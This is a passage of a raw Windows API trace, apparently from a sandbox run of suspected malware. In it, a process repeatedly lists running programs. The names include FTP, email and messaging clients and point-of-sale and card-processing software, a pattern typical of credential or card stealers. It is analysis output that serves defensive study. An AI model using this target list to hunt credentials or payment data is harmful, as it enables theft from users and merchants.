th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0284.111] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0284.113] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0284.114] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0284.115] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0284.117] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0284.118] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0284.120] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0284.121] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0284.122] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0284.124] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0284.126] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0284.128] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0284.180] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0284.182] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0284.183] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0284.185] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0284.187] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0284.189] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0284.191] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0284.192] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0284.194] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0284.196] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0284.198] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0284.200] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0284.201] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0284.203] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0284.205] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0284.207] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0284.208] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0284.210] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0284.212] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0284.214] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0284.215] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0284.217] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0284.219] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0284.221] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0284.272] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0284.274] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0284.275] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0284.277] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0284.278] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0284.280] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0284.281] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0284.283] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0284.285] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0284.286] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0284.288] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0284.289] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0284.291] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0284.293] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0284.294] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0284.296] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0284.298] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0284.299] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0284.301] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0284.302] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0284.304] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0284.305] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0284.307] CloseHandle (hObject=0x344) returned 1 [0284.307] Sleep (dwMilliseconds=0x64) [0284.349] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0284.363] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.365] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0284.366] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0284.368] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.370] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0284.371] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.373] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0284.375] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0284.377] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0284.378] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.380] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.382] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0284.385] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.387] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.389] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.390] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.392] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.429] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.431] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.433] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0284.435] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0284.436] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0284.438] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.440] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0284.443] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0284.445] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, 